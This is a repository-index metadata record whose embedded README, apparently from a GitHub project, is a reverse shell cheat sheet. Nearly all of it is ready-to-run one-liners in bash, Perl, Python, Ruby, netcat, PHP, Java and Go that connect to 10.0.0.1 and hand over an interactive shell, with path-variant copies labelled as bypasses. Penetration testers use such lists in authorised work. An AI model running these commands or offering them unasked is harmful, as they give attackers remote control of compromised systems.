{"id":26475991,"url":"https://github.com/madexploits/reverse-shell-payload","last_synced_at":"2026-04-10T15:08:39.756Z","repository":{"id":153671310,"uuid":"512096813","full_name":"MadExploits/Reverse-Shell-Payload","owner":"MadExploits","description":null,"archived":false,"fork":false,"pushed_at":"2024-06-14T19:02:59.000Z","size":18,"stargazers_count":2,"open_issues_count":0,"forks_count":3,"subscribers_count":1,"default_branch":"main","last_synced_at":"2024-06-14T20:24:45.868Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/MadExploits.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2022-07-09T04:56:28.000Z","updated_at":"2024-06-14T20:24:48.004Z","dependencies_parsed_at":null,"dependency_job_id":"beeb86ba-a42e-4073-b4d3-1606f6113d66","html_url":"https://github.com/MadExploits/Reverse-Shell-Payload","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MadExploits%2FReverse-Shell-Payload","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MadExploits%2FReverse-Shell-Payload/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MadExploits%2FReverse-Shell-Payload/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/MadExploits%2FReverse-Shell-Payload/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/MadExploits","download_url":"https://codeload.github.com/MadExploits/Reverse-Shell-Payload/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":244525598,"owners_count":20466545,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2025-03-19T23:50:44.799Z","updated_at":"2025-12-30T21:49:42.017Z","avatar_url":"https://github.com/MadExploits.png","language":"PHP","funding_links":["https://www.buymeacoffee.com/muhsatria"],"categories":[],"sub_categories":[],"readme":"- Reverse Shell By MrMad \n\n- refrence\n- revshells generator\n- https://www.revshells.com\n\n\n```\nhttps://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet\n```\n\n\n# BASH\n```\nbash -i \u003e\u0026 /dev/tcp/10.0.0.1/8080 0\u003e\u00261\n```\n\n# PERL\n```\nperl -e 'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\"\u003e\u0026S\");open(STDOUT,\"\u003e\u0026S\");open(STDERR,\"\u003e\u0026S\");exec(\"/bin/sh -i\");};'\n```\n\n# PYTHON\n```\npython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n```\n\n# RUBY\n```\nruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",1234).to_i;exec sprintf(\"/bin/sh -i \u003c\u0026%d \u003e\u0026%d 2\u003e\u0026%d\",f,f,f)'\n```\n\n# NETCAT\n```\nnc -e /bin/sh 10.0.0.1 1234\n```\nIf you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:\n```\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u003e\u00261|nc 10.0.0.1 1234 \u003e/tmp/f\n```\n\n# PHP\n```\nphp -r '$sock=fsockopen(\"10.0.0.1\",1234);exec(\"/bin/sh -i \u003c\u00263 \u003e\u00263 2\u003e\u00263\");'\n```\n\n# XTERM\n```\nxterm -display 10.0.0.1:1\n```\n\n# XNEST\n```\nXnest :1\n```\n\n# XHOST\n```\nxhost +targetip\n```\n\n# JAVA\n```\nr = Runtime.getRuntime()\np = r.exec([\"/bin/bash\",\"-c\",\"exec 5\u003c\u003e/dev/tcp/10.0.0.1/2002;cat \u003c\u00265 | while read line; do \\$line 2\u003e\u00265 \u003e\u00265; done\"] as String[])\np.waitFor()\n```\n\n# GOLANG\n```\necho 'package main;import\"os/exec\";import\"net\";func main(){c,_:=net.Dial(\"tcp\",\"10.0.0.1:4242\");cmd:=exec.Command(\"/bin/sh\");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' \u003e /tmp/t.go \u0026\u0026 go run /tmp/t.go \u0026\u0026 rm /tmp/t.go\n```\n\n# Bypassing IF dont have any Function OUTPUT!\nUSING /usr/bin/\n\n# PHP\n```\n/usr/bin/php -r '$sock=fsockopen(\"10.0.0.1\",1234);exec(\"/bin/sh -i \u003c\u00263 \u003e\u00263 2\u003e\u00263\");'\n```\n\n# PYTHON\n// Python3 Usage:\n```\n/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n```\n\n// Python2 Usage:\n```\n/usr/bin/python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n```\n# PERL\n```\n/usr/bin/perl -e 'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\"\u003e\u0026S\");open(STDOUT,\"\u003e\u0026S\");open(STDERR,\"\u003e\u0026S\");exec(\"/bin/sh -i\");};'\n```\n\n# BASH\n```\n/usr/bin/bash -i \u003e\u0026 /dev/tcp/10.0.0.1/8080 0\u003e\u00261\n```\n// Using SH\n```\n/usr/bin/sh -i \u003e\u0026 /dev/tcp/10.0.0.1/8080 0\u003e\u00261\n```\n\n# NETCAT\n```\n/usr/bin/nc -e /bin/sh 10.0.0.1 1234\n```\n```\n// If wrong installed NC\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u003e\u00261|nc 10.0.0.1 1234 \u003e/tmp/f\n```\n\n# RUBY\n```\n/usr/bin/ruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",1234).to_i;exec sprintf(\"/bin/sh -i \u003c\u0026%d \u003e\u0026%d 2\u003e\u0026%d\",f,f,f)'\n```\n\n\n# USING /bin/\n\n# PHP\n```\n/bin/php -r '$sock=fsockopen(\"10.0.0.1\",1234);exec(\"/bin/sh -i \u003c\u00263 \u003e\u00263 2\u003e\u00263\");'\n```\n\n# PYTHON\n// Python3 Usage:\n```\n/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n```\n\n// Python2 Usage:\n```\n/bin/python2 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.0.0.1\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n```\n# PERL\n```\n/bin/perl -e 'use Socket;$i=\"10.0.0.1\";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\"\u003e\u0026S\");open(STDOUT,\"\u003e\u0026S\");open(STDERR,\"\u003e\u0026S\");exec(\"/bin/sh -i\");};'\n```\n\n# BASH\n```\n/bin/bash -i \u003e\u0026 /dev/tcp/10.0.0.1/8080 0\u003e\u00261\n```\n// Using SH\n```\n/bin/sh -i \u003e\u0026 /dev/tcp/10.0.0.1/8080 0\u003e\u00261\n```\n\n# NETCAT\n```\n/bin/nc -e /bin/sh 10.0.0.1 1234\n```\n// If wrong installed NC\n```\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u003e\u00261|nc 10.0.0.1 1234 \u003e/tmp/f\n```\n# RUBY\n```\n/bin/ruby -rsocket -e'f=TCPSocket.open(\"10.0.0.1\",1234).to_i;exec sprintf(\"/bin/sh -i \u003c\u0026%d \u003e\u0026%d 2\u003e\u0026%d\",f,f,f)'\n```\n# Bypassing With Encode\n\nAs sooon as posible!\n\n\n\u003ch3 align=\"left\"\u003eSupport:\u003c/h3\u003e\n\u003cp\u003e\u003ca href=\"https://www.buymeacoffee.com/muhsatria\"\u003e \u003cimg align=\"left\" src=\"https://cdn.buymeacoffee.com/buttons/v2/default-yellow.png\" height=\"50\" width=\"210\" alt=\"https://www.buymeacoffee.com/muhsatria\" /\u003e\u003c/a\u003e\u003c/p\u003e\u003cbr\u003e\u003cbr\u003e\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmadexploits%2Freverse-shell-payload","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmadexploits%2Freverse-shell-payload","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmadexploits%2Freverse-shell-payload/lists"}